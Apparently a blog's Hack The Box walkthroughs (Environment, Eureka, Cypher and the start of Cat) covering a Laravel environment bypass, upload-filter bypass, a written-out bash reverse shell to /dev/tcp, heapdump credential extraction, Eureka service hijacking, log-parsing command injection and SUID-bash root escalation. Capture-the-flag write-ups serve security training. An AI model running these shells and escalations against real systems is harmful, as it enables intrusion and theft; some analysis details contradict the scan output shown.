This PHP snippet checks the value of the $remember parameter to determine whether the user should stay logged in. If $remember equals 'False', the variable $keep_loggedin is set to False, meaning the session will not persist after login. If $remember equals 'True', then $keep_loggedin is set to True, allowing the application to keep the user logged in across sessions. Essentially, it controls the β€œRemember Me” functionality during authentication.

Modify the remember parameter to use a value other than false or true.

This code first sets the $keep_loggedin flag based on the $remember parameter, enabling the β€œRemember Me” feature if applicable. It then checks whether the application is running in the preprod environment, and if so, it automatically logs in as the user with ID 1 by regenerating the session, setting the session user ID, and redirecting to the management dashboardβ€”essentially a developer shortcut for testing. If not in preprod, the code proceeds to look up the user in the database by their email.

Source: CVE-2024-52301 POC

Bypassing Environment with ?–env=production

When the query string ?--env=production is added to the URL, it injects the argument --env=production into $_SERVER['argv'], which Laravel interprets through its environment detection mechanism. This forces the framework to treat the application as if it is running in a production environment, causing the @production directive in Blade templates to render <p>Production environment</p> as the output.

By adding the parameter --env=preprod to the request packet, it may trigger the application’s pre-production environment logic seen in the code, potentially bypassing normal authentication and granting direct access as the default user (ID 1).

After adding the --env=preprod parameter, the application redirected to the management dashboard, where a list of user accounts was revealed.The dashboard showed multiple email addresses, including cooper@cooper.com, bob@bobbybuilder.net, sandra@bullock.com, p.bowls@gmail.com, bigsandwich@sandwich.com, dave@thediver.com, dreynolds@sunny.com, will@goldandblack.net, and nick.m@chicago.com, which attackers could potentially use for authentication attempts or targeted attacks.

We identified a profile displaying the details Name: Hish and Email: hish@environment.htb. The profile also includes a feature that allows uploading a new picture, which may present an opportunity to test for file upload vulnerabilities.

To test how the application processes file uploads, we uploaded a random .png file through the profile’s picture upload functionality.

However, the upload attempt returned an error message in the browser: β€œUnexpected MimeType: application/x-empty”, indicating that the application rejected the file due to an invalid or unrecognised MIME type.

Renaming the uploaded file with a .php extension prompted the application to respond with β€œInvalid file detected,” confirming that server-side validation actively blocks direct PHP or executable uploads.

UniSharp Laravel Filemanager – Code Injection Vulnerability (CVE-2024-21546) PoC & Exploitation

The vulnerability occurs in the file upload feature, where attackers can circumvent the restrictions by adding a . after a PHP file (for example, filename.php.) while using an allowed MIME type. Even though the application blocks certain extensions like PHP or HTML and MIME types such as text/x-php, text/html, or text/plain, this trick enables malicious files to be uploaded successfully. Snyk rates this issue as Critical with a CVSS v3.1 score of 9.8 and High with a CVSS v4.0 score of 8.9.

Let’s research exploits targeting the UniSharp Laravel Filemanager upload functionality.

Version-Agnostic Testing for UniSharp Laravel File Upload Vulnerabilities

If the UniSharp Laravel Filemanager version is unknown, you can test uploads without relying on the version. First, upload safe files like .jpg or .png to confirm the endpoint works. Then, try potentially executable files like .php, .php., or .php.jpg and watch the server response. HTTP 200 may indicate a bypass. You can also tweak MIME types to test validation. Monitor responses (200, 403, 405) and see if uploaded files can execute codeβ€”this approach highlights risky upload behaviors without knowing the exact version.

Modify the PHP file’s name by adding a β€œ.” after the .php extension (e.g., test.php.). Actively test whether the upload filter allows bypassing and if server-side code runs.

The upload bypass succeeded, and the application accepted the .php. file, indicating the filter can be bypassed. The uploaded payload may execute.

The GIF89a output shows that the uploaded file is being treated as an image rather than executed as PHP. Since GIF89a is the GIF header, the server is likely enforcing MIME type checks or serving uploads as static files. This behaviour prevents the embedded PHP code from running directly. A GIF–PHP polyglot can bypass validation by starting with a valid GIF header while containing PHP code for execution. Extension tricks like .php., .php%00.png, or encoding bypasses may also allow the server to process the file as PHP. If the server serves uploads only as images, an LFI vulnerability could include the uploaded file to execute the PHP payload.

File Upload & Reverse Shell

Since the earlier PHP extension bypass worked, the next logical step was to upload a file phpinfo(); to confirm code execution. Retrieving this file successfully displayed the PHP configuration page, verifying that arbitrary PHP code can indeed run on the server.

The uploaded file ran successfully, and the browser showed phpinfo() output, confirming the server processes the injected PHP code.

Set up a listener on your machine to catch the reverse shell

We successfully uploaded the PHP reverse shell payload, and executing it attempted to connect back to the listener, as demonstrated in the command example above.

The connection did not trigger.

We started a Python HTTP server to host the payload for the target system to retrieve.

User β€œhish” attempted to retrieve a file using curl from the machine but received a β€œFile not found” response.

We consolidated all the bash commands into a new script file to simplify execution.

Let’s attempt to fetch shell.sh from our machine.

Unexpectedly, nothing was detected.

A screen shot of a computer

AI-generated content may be incorrect.

Let’s run the bash command shown above

bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.149/9007+0%3E%261%27

Surprisingly, it worked perfectly.

We can read the user flag with the command cat user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

Since this user has read access, the contents of the directory at www-data/home/hish can be inspected. Inside the backup directory, we found a file named keyvault.gpg.

GnuPG Key Inspection

We discovered a .gnupg directory.

Within the .gnupg directory of the user hish, several key GnuPG files and directories are present, including openpgp-revocs.d for revoked keys, private-keys-v1.d containing the user’s private keys, pubring.kbx and its backup pubring.kbx~ for storing public keys, random_seed used by GnuPG for cryptographic operations, and trustdb.gpg, which maintains the trust database for verifying key authenticity.

Decrypting the Backup File with GPG

The /tmp directory is empty and contains no files of interest.

User β€œhish” copied the .gnupg directory to /tmp/mygnupg to simplify access and analysis, likely to inspect or manipulate GnuPG-related files, such as private keys or configuration data, in a more convenient temporary location.

The /tmp/mygnupg directory permissions were set to 700, restricting access so that only the owner can read, write, or execute its contents.

After copying, the /tmp/mygnupg directory exists, but it contains no files of interest.

The command gpg --homedir /tmp/mygnupg --list-secret-keys tells GnuPG to use the directory /tmp/mygnupg as its home and lists all secret (private) keys stored there. This allows the user to view available private keys without affecting the default GPG configuration.

Using GnuPG with the home directory set to /tmp/mygnupg, the command decrypts /home/hish/backup/keyvault.gpg and writes the decrypted content to /tmp/message.txt, leveraging the secret keys stored in that directory.

After some time, we successfully retrieved message.txt, which may contain potentially useful information.

The message.txt file contains a list of credentials for different accounts. Specifically, it shows a PayPal password (Ihaves0meMon$yhere123), an Environment.htb password (marineSPm@ster!!), and a Facebook password (summerSunnyB3ACH!!). These credentials may allow access to the corresponding accounts or services.

Accessing User Hish’s Privileges

A black screen with green text

AI-generated content may be incorrect.

The password β€œmarineSPm@ster!!” appears to belong to the Environment.htb account, as the other passwords correspond to PayPal and Facebook.

A screenshot of a computer program

AI-generated content may be incorrect.

We can connect using SSH.

Privilege Escalation with systeminfo

A computer screen with green text

AI-generated content may be incorrect.

The sudo -l Output for user β€œhish” on the β€œenvironment” host shows they can run /usr/bin/systeminfo with sudo privileges as any user. The default settings include env_reset, mail_badpass, a secure_path, and preservation of ENV and BASH_ENV variables via env_keep. This preservation of ENV and BASH_ENV creates a potential security vulnerability, as these variables can be manipulated to execute arbitrary commands, allowing β€œhish” to bypass restrictions and escalate privileges when running the allowed command.

User β€œhish” on the β€œenvironment” host runs commands to create a script named dark.sh containing bash -p, which spawns a privileged bash shell. First, echo 'bash -p' > dark.sh write the bash -p command into dark.sh. Then, chmod +x dark.sh grants execute permissions to the script. These steps prepare a malicious script for a potential privilege escalation exploit, likely to be used with a preserved environment variable, like BASH_ENV in a subsequent command, to bypass sudo restrictions and gain elevated privileges.

User β€œhish” on the β€œenvironment” host runs sudo BASH_ENV=./dark.sh /usr/bin/systeminfo to exploit the preserved BASH_ENV environment variable, as revealed by sudo -l. By setting BASH_ENV to point to the previously created dark.sh script (containing bash -p), the command triggers the execution of dark.sh when systeminfo runs with sudo privileges. Since bash -p spawns a privileged bash shell, this allows β€œhish” to gain elevated privileges, bypassing the restricted sudo permissions that only allow running /usr/bin/systeminfo, effectively achieving privilege escalation.

A black background with green text

AI-generated content may be incorrect.

We can read the user flag with the command cat user.txt.

The post Hack The Box: Environment Machine Walkthough-Medium Difficulty appeared first on Threatninja.net.

Hack The Box: Eureka Machine Walkthrough – Hard Dificulty

By: darknite
30 August 2025 at 10:58
Reading Time: 12 minutes

Introduction to Eureka:

In this writeup, we will explore the β€œEureka” machine from Hack The Box, categorised as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œEureka” machine from Hack The Box by achieving the following objectives:

User Flag:

During enumeration, we discovered Spring Boot Actuator endpoints, including /actuator/heapdump, which revealed plaintext credentials for oscar190. We logged in to SSH as oscar190, but found the home directory empty. The application.properties file revealed Eureka credentials (EurekaSrvr:0scarPWDisTheB3st), which allowed us to access the Eureka dashboard on port 8761. By registering a malicious microservice, we retrieved miranda.wise credentials and captured the user flag from user.txt.

Root Flag:

For privilege escalation, the vulnerable log_analyse.sh script allowed command injection, enabling creation of a SUID bash shell in /tmp/bash. Execution of this shell provided root access, and the root flag was obtained from /root/root.txt.

Enumerating the Eureka Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.66

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/eureka]
└──╼ $nmap -sC -sV -oA initial 10.10.11.66 
# Nmap 7.94SVN scan initiated Sun Aug 24 03:30:10 2025 as: nmap -sC -sV -oA initial 10.10.11.66
Nmap scan report for 10.10.11.66
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 24 03:30:21 2025 -- 1 IP address (1 host up) scanned in 10.99 seconds

Analysis:

  • Port 22 (SSH): Secure Shell service (OpenSSH 8.2p1) for remote access.
  • Port 80 (HTTP): Web server (nginx 1.18.0) hosting furni.htb.

Web Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://furni.htb/ -w /opt/quickhits.txt

Gobuster Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/eureka]
└──╼ $gobuster dir -u http://furni.htb/ -w /opt/quickhits.txt 
/actuator             (Status: 200) [Size: 2129]
/actuator/caches      (Status: 200) [Size: 20]
/actuator/features    (Status: 200) [Size: 467]
/actuator/info        (Status: 200) [Size: 2]
/actuator/health      (Status: 200) [Size: 15]
/actuator/env         (Status: 200) [Size: 6307]
/actuator/metrics     (Status: 200) [Size: 3319]
/actuator/refresh     (Status: 405) [Size: 114]
/actuator/sessions    (Status: 400) [Size: 108]
/actuator/scheduledtasks (Status: 200) [Size: 54]
/actuator/mappings    (Status: 200) [Size: 35560]
/actuator/loggers     (Status: 200) [Size: 98261]
/actuator/beans       (Status: 200) [Size: 202254]
/actuator/configprops (Status: 200) [Size: 37195]
/actuator/conditions  (Status: 200) [Size: 184221]
/actuator/threaddump  (Status: 200) [Size: 176397]

Analysis:

Spring Boot Actuator endpoints provide insights:

  • /actuator shows system details,
  • /caches shows cache info,
  • /features lists features,
  • /info gives metadata,
  • /health shows status,
  • /env shows variables,
  • /metrics shows performance,
  • /refresh returns 405,
  • /sessions returns 400,
  • /scheduledtasks shows tasks,
  • /mappings lists routes,
  • /loggers shows logs,
  • /beans lists beans,
  • /configprops shows config,
  • /conditions shows auto-config,
  • /threaddump shows threads.

Feroxbuster directory enumeration identified the following endpoints:

Analysis:

  • /actuator/heapdump: Full application heap dump (very sensitive, ~76MB).

The heapdump is usually the biggest goldmine hereβ€”it can contain hardcoded credentials, JWT secrets, API keys, or session tokens.

Web Application Exploration:

The website interface appears to be a standard design showcasing a Modern Interior Design Studio.

Create a new user account

Therefore, proceed with creating a new account using the credentials mentioned above.

The password must contain a minimum of 10 characters.

Attempted to log in with the previously created credentials, but the response only returned bad credentials with no further action.

Extracting Eureka Service Credentials from Heapdump as oscar190

Proceed to download the heapdump by directly accessing the /actuator/heapdump endpoint through the web browser

To analyze the downloaded heapdump, run the strings command and pipe the output into grep to look for potential credentials. For example, using strings heapdump.hprof | grep -i "password=" will filter for any occurrences of the keyword password= within the dump. If no useful results are found, the search can be expanded with broader patterns such as pass, user, token, secret, or key to uncover sensitive information like database passwords, API keys, or authentication tokens stored in memory. This approach provides a quick way to extract valuable data from the heapdump before performing deeper analysis with tools like Eclipse MAT.

Heapdump analysis revealed valid plaintext credentials:

  • Username: oscar190
  • Password: 0sc@r190_S0l!dP@sswd

Failed Authentication Attempts with Extracted Credentials

β”Œβ”€[dark@parrot]─[~/Documents/htb/eureka]
└──╼ $nmap -sC -sV -p- -oA fullport 10.10.11.66
8761/tcp open  unknown
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 401 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Set-Cookie: JSESSIONID=052BB32927ACF7E3EC6D4104D8933C61; Path=/; HttpOnly
|     WWW-Authenticate: Basic realm="Realm"
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: DENY
|     Content-Length: 0
|     Date: Sun, 24 Aug 2025 04:16:36 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 401 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Set-Cookie: JSESSIONID=F7494079A8B84CF8089636498980649E; Path=/; HttpOnly
|     WWW-Authenticate: Basic realm="Realm"
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 0
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: DENY
|     Content-Length: 0
|     Date: Sun, 24 Aug 2025 04:16:36 GMT
|     Connection: close

As a result, a full port scan will identify any additional services accessible on the target system.

Attempting Access to oscar190 via Eureka Dashboard and SSH

An attempt to use the previously discovered credentials for authentication failed, with all login attempts unsuccessful.

We used pwncat-cs to test the recovered credentials against SSH. The login was successful, and we gained remote access to the target system.

Enumeration as oscar190

After gaining access, we inspected the oscar190 directory. It was empty and contained no useful files for further exploitation.

We also checked for SUID binaries on the system, but found no unusual or exploitable ones.

During enumeration, we found a notable file at ./web/Funi/src/main/resource/application.properties containing sensitive information, including credentials that revealed the password for the oscar190 user.

Most importantly, under the Eureka section you discovered:

eureka.client.service-url.defaultZone= http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

This line shows the Eureka service uses embedded credentials:

  • Username: EurekaSrvr
  • Password: 0scarPWDisTheB3st

These new credentials are different from oscar190. They may be valid for the Eureka dashboard (port 8761) or other services like SSH, MySQL, or the web portal.

Accessing Spring Eureka Dashboard on Port 8761 Using Discovered Credentials

The newly discovered credentials (EurekaSrvr:0scarPWDisTheB3st) were tested against the Eureka service endpoint. Authentication was successful, confirming valid access to the Eureka configuration interface.

Surprisingly, the credentials worked and granted access to the Spring Eureka application dashboard, confirming control over the service.

Monitoring System Activity and Command Execution with pspy64

The pspy64 output revealed that a scheduled task is being executed by the root user, which uses curl to send a POST request to http://furni.htb/login. The request is crafted to resemble a normal browser login, with headers such as Accept, Content-Type, User-Agent, and a session cookie included. Most importantly, the POST data is not hardcoded in the command but instead read from the temporary file /tmp/tmp.hJ3yAWDvEW. the file is writable or replaceable by a lower-privileged user, it may be possible to inject malicious data or commands into it, allowing code execution under root’s context whenever the automated task runs.

Cloud-Gateway Enumeration and Insight

During enumeration, a directory named cloud-gateway was discovered, which stands out as it is not typically present in standard web application structures. Given its uncommon presence, this directory warrants deeper inspection to determine whether it contains exploitable configurations or hidden endpoints.

Source: Cloud management gateway overview

The cloud-gateway directory was identified within the application files, which is uncommon in typical setups and indicates the use of Spring Cloud Gateway for routing and service communication. Such directories often contain sensitive configuration files, route definitions, or embedded credentials, making it an important target for closer inspection during enumeration.

Analysing the application.yaml Configuration File

It appears that the request is being passed to the user-management-service component, located under the path /var/www/web, specifically beneath the /login functionality. This suggests that authentication requests from /login are routed internally to the user-management-service, which likely handles user validation and credential processing.

HTTP Login Endpoint Hijacking via User-Management-Service

Inside the user-management-service directory, several files and subdirectories were identified, indicating this component is likely responsible for handling authentication and account-related functionality within the application. Since it sits directly under /var/www/web, its contents may include configuration files, source code, or compiled application resources that could expose sensitive information such as database credentials, API keys, or logic flaws.

The files discovered within the user-management-service directory were copied over to the attacker’s machine for further offline analysis. This allows deeper inspection of configuration details, source code, and potential hardcoded secrets without the risk of altering the target environment.

The application.properties and Eureka-related configuration files contain fields such as <instanceId>, <hostName>, <ipAddr>, <port>, <homePageUrl>, <statusPageUrl>, and <healthCheckUrl>. By modifying these values to match the attacker’s controlled IP address and port, it is possible to redirect the service registration in Eureka to point toward a malicious service instead of the legitimate one.

Retrieving miranda.wise Credentials and Capturing User Flag

The first command performs a POST request to register a new instance of the USER-MANAGEMENT-SERVICE application, where the configuration details (such as instance ID, host, IP address, and port) are provided in an external instance.xml file. By modifying this XML file with the attacker’s own machine details, it is possible to make Eureka believe that the legitimate service now points to the attacker-controlled host. The second command issues a DELETE request targeting the existing service entry localhost:USER-MANAGEMENT-SERVICE:9009, which corresponds to the genuine application running locally on port 9009.

A successful callback was received, which revealed system details tied to the user miranda.wise. This indicates that the malicious service registration worked as intended, and the compromised microservice forwarded traffic to the attacker-controlled host, exposing valuable information about another valid user account in the environment.

The user flag was captured by reading the user.txt file with the cat command.

Escalate to Root Privileges Access

Privilege Escalation:

We did not identify any unusual or exploitable SUID binaries on the system.

A script named log_analyse.sh was discovered on the system, which stands out as a potential target for further analysis to determine if it contains insecure commands, misconfigurations, or privilege escalation opportunities.

Analysis of log_analyse.sh Script

This script is a log analyser that examines server logs to track three key aspects: who’s logging in (successfully or not), what HTTP errors are occurring, and any system errors worth noting. It’s got some nice touches – colour-coded outputs for quick scanning and a clean report saved to log_analysis.txt.

grep "HTTP.*Status: " "$LOG_FILE" | while read line; do
    code=$(echo "$line" | grep -oP 'Status: \K.*')

if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"

This Bash script analyzes log files, extracting login attempts, HTTP status codes, and errors, then saves results to log_analysis.txt. A key function, analyze_http_statuses(), parses HTTP status codes using grep -oP 'Status: \K.*'. However, it’s vulnerable to command injectionβ€”if logs contain malicious strings like $(malicious_command), Bash will execute them when processing the file.

The output demonstrates the behavior of the log_analyse.sh script when executed, showing that it processes and reads the contents of application.log. This indicates that the script’s purpose is related to log handling, and analyzing its execution flow could reveal opportunities for manipulation or privilege escalation.

The original file was copied, then deleted, and after restoring it, the file ownership changed from www-data to miranda-wise.

Exploiting Bash SUID for Privilege Escalation

The bash script does not run with root privileges.

A computer screen with text on it

AI-generated content may be incorrect.

It defines two target log files located in the user-management-service and cloud-gateway directories, then injects a malicious payload into them. The payload attempts to execute a command substitution by copying /bin/bash to /tmp/bash and setting the SUID bit, effectively creating a root-privileged shell. To achieve this, the script removes the original log files and replaces them with the crafted payload. Once the vulnerable process or script that parses these logs executes the injected content, the attacker gains elevated privileges via the SUID-enabled /tmp/bash.

A computer screen with text

AI-generated content may be incorrect.

We then executed the crafted bash file, which replaced the targeted log files with the injected payload, preparing for privilege escalation once the vulnerable service processes the modified logs.

A screenshot of a computer

AI-generated content may be incorrect.

Running the script produced no immediate effect, suggesting the logs remained unprocessed or required additional conditions.

A black screen with green and yellow text

AI-generated content may be incorrect.

After some time, the injected payload successfully executed and resulted in the creation of a SUID bash binary inside the /tmp directory, allowing privilege escalation. By running ls -l /tmp/bash, the SUID bit could be confirmed, and executing /tmp/bash -p provided a root shell since the binary retains elevated privileges. From there, commands like id could be used to verify root access, and the final step was reading the root.txt file located in the /root directory to obtain the root flag and complete the exploitation.

A black background with green and blue text

AI-generated content may be incorrect.

The root flag was retrieved by executing the cat root.txt command.

The post Hack The Box: Eureka Machine Walkthrough – Hard Dificulty appeared first on Threatninja.net.

Hack The Box: Cypher Machine Walkthrough – Medium Difficultyy

By: darknite
26 July 2025 at 10:58
Reading Time: 9 minutes

Introduction to Cypher:

In this write-up, we will explore the β€œCypher” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œCypher” machine from Hack The Box by achieving the following objectives:

User Flag: Exploit a vulnerable Neo4j database by injecting a Cypher query to extract a password hash, authenticate via SSH, and retrieve the user flag.

Root Flag: Leverage a misconfigured bbot binary with sudo privileges to execute a command that sets the SUID bit on /bin/bash, granting root access to capture the root flag.

Enumerating the Cypher Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Cypher machine was 10.10.11.57

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.57

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $nmap -sC -sV -oA initial 10.10.11.57
# Nmap 7.94SVN scan initiated Sun Jul 20 11:35:15 2025 as: nmap -sC -sV -oA initial 10.10.11.57
Nmap scan report for 10.10.11.57
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 20 11:50:37 2025 -- 1 IP address (1 host up) scanned in 921.53 seconds
β”Œβ”€[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $

Analysis:

  • 22/tcp (SSH): OpenSSH 8.2p1 running, indicating potential remote access with valid credentials.
  • 80/tcp (HTTP): Apache web server, likely hosting a web application for further enumeration.

Web Enumeration:

I performed directory enumeration on the web server using Gobuster

gobuster dir -u http://cypher.htb -w /opt/common.txt

Gobuster Output:

Analysis:

  • The web interface revealed a β€œTry out free demo” button redirecting to /login/.
  • The /api/docs directory was inaccessible or empty.
  • A .jar file was found in /testing/, which seemed unusual and warranted further investigation.

The website interface looks something as shown above

Inspecting the login page at /login/ revealed a form.

In this example, the application builds a database query by directly inserting the username and password the user enters into the query string. Because the system does not properly check or clean these inputs, an attacker can insert special characters or code that changes the query’s intended behaviour. This lack of input validation creates a Cypher injection vulnerability.

Here’s a simplified version of the vulnerable code:

def verify_creds(username, password):
    cypher = f"""
    MATCH (u:USER) -[:SECRET]-> (h:SHA1)
    WHERE u.name = '{username}' AND u.password = '{password}'
    RETURN h.value AS hash
    """
    results = run_cypher(cypher)
    return results

Here, the username and password Values are inserted directly into the Cypher query string without any validation or escaping. This allows an attacker to inject malicious Cypher code by crafting special input, leading to a Cypher injection vulnerability.

No content found in the /api/docs directory.

A JAR file was located in the /testing/ directory, which appeared suspicious or out of place.

Static Analysis of JAR File Using JADX-GUI on Cypher machine

Examine the JAR file by opening it with jadx-gui.

The Code Walkthrough (Simplified)

The Function Setup

@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)<br>public Stream<StringOutput> getUrlStatusCode(@Name("url") String url)<span style="background-color: initial; font-family: inherit; font-size: inherit; text-align: initial;">

This creates a special function that anyone can call from the database. It’s like putting up a sign that says β€œRing this bell and I’ll check any website for you!” The problem is, no security guard is checking who is ringing the bell or what they’re really asking for.

The Weak Security Check

if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
    url = "https://" + url;
}

The so-called β€˜security’ in place is like a bouncer who only checks if you’re wearing shoes before letting you into a club. As long as you have shoes on, you’re allowed inβ€”never mind the fact that you’re holding a crowbar and carrying a bag labeled β€œSTOLEN GOODS.”

The Dangerous Command

String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};

The real issue arises when the system takes the user-provided URL and passes it straight to the computer as-is, saying, β€œExecute this exactly as the user entered it.” There’s no validation or filtering, which makes it easy for attackers to sneak in malicious commands.

Exploitation

Web Application Exploration:

Analyse the login page’s packet by intercepting it, which returns an invalid credentials response.

Review the error that occurred after entering a Cypher injection into the username field.

Cypher Injection on Cypher Machine

Cypher injection happens when an application doesn’t properly check what you type into a login form or search box before sending it to the database. Think of it like filling out a form at a bank: instead of just writing your name, you also add a note telling the bank to open the vault. If the bank employee doesn’t read carefully and just follows the instructions, you could get access to things you shouldn’t.

In the same way, attackers can type special commands into a website’s input fields. If the website passes those commands straight to the database without checking, attackers can trick it into revealing private data or even taking control of the system.

Cypher Injection Verification and Exploitation Steps

This query tries to find a user node labeled USER with the name β€˜test’ OR 1=1//β€˜ and then follows the SECRET relationship to get the related SHA1 node. It returns the value property from that SHA1 node as hash. The extra single quote after β€˜testβ€˜ likely causes a syntax error, which may be why the injection triggers an error.

Analyze the next step by modifying the payload to avoid syntax errors and bypass filters.

Analyze the network traffic by executing tcpdump.

Start by testing with the ping command to check for command execution.

We received an immediate response, confirming that the command was successfully executed.

Set up a Python HTTP server to test for outbound connections from the target system.

Attempt to fetch a file that doesn’t exist on the target system to observe the error behaviour.

The attempt was successful, confirming that the system executed the command and reached out as expected.

Start a listener on your machine to catch any incoming reverse connections from the target system.

Call the shell.sh file from your machine, and observe that the request hangs, indicating that the payload was likely executed and the reverse shell is in progress.

The shell.sh file was successfully transferred, confirming that the target system was able to fetch and process the file.

We have successfully gained access as the neo4j user on the target system.

Check the neo4j user’s home directory for any configuration files, databases, or credentials that could aid further exploitation.

The neo4j directory does not contain any files of interest.

A password was found in the .bash_history file.

Start the Neo4j service by using the cypher-shell command.

We successfully retrieved the hashes.

Access attempt as graphasm failed.

However, access is graphasm succeeded through the SSH or pwncat-cs service.

We successfully obtained the user flag.

Escalate to Root Privileges Access

Privilege Escalation:

The sudo -l command reveals the presence of the bbot binary with elevated privileges.

Executing sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run returns the root flag.

A screen shot of a computer

AI-generated content may be incorrect.

The bbot_present.yaml file contains important configuration details. It specifies the target as ecorp.htb and sets the output directory to /home/graphasm/bbot_scans. Under the configuration section, the Neo4j module is configured with the username neo4j and the password cU4btyib.20xtCMCXkBmerhK.

The dark.yml file specifies the module_dirs configuration with a directory path set to ["/home/graphasm"]. This indicates where the system will look for custom modules to load.

In the dark.py script, which imports BaseModule from bbot.modules.base, there is a class named dark that runs the command chmod +s /bin/bash through os.system(). This command changes the permissions of /bin/bash to set the setuid bit, allowing anyone to execute the shell with root privileges, posing a serious security risk.

First, check if /bin/bash has the SUID bit set. Look for an s in the user’s execute position (e.g., -rwsr-xr-x); this indicates it’s a SUID binary. If you don’t see it, the setuid bit isn’t set.

Execute the command to run bbot with the specified configuration and module

This runs the dark module using the settings from /home/graphasm/dark.yml, forcing execution with the --force flag.

Another way to gain root access is by executing the reverse shell with root privileges.

We have successfully received a reverse shell connection back to our machine.

The post Hack The Box: Cypher Machine Walkthrough – Medium Difficultyy appeared first on Threatninja.net.

Hack The Box: Cat Machine Walkthrough – Medium Diffculity

By: darknite
5 July 2025 at 10:58
Reading Time: 13 minutes

Introduction

This write-up details the β€œCat” machine from Hack The Box, a Medium-rated Linux challenge.

Objective on Cat Machine

The goal is to complete the β€œCat” machine by accomplishing the following objectives:

User Flag:

To obtain the user flag, an attacker first exploits a Stored Cross-Site Scripting (XSS) vulnerability in the user registration form, which allows stealing the administrator’s session cookie. With this stolen session, the attacker accesses the admin panel and exploits an SQL Injection flaw to extract sensitive user credentials from the database. After cracking these credentials, SSH access is gained as a regular user, enabling the retrieval of the user flagβ€”a secret token proving user-level access.

Root Flag:

For the root flag, privilege escalation is performed by finding a vulnerable image processing script owned by the root user. The attacker crafts a malicious image payload that executes unauthorised commands with root privileges. This leads to obtaining a root shellβ€”the highest level of system accessβ€”allowing capture of the root flag, which confirms full control over the machine.

Reconnaissance and Enumeration on Cat Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Parrot OS virtual machine. The target IP address for the Dog machine was 10.10.11.53.

Initial Scanning

To identify open ports and services, I ran an Nmap scan:

nmap -sC -sV 10.10.11.53 -oA initial

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/cat]
└──╼ $ nmap -sC -sV -oA initial -Pn 10.10.11.53
# Nmap 7.94SVN scan initiated Tue Jun 17 10:05:26 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.53
Nmap scan report for 10.10.11.53
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
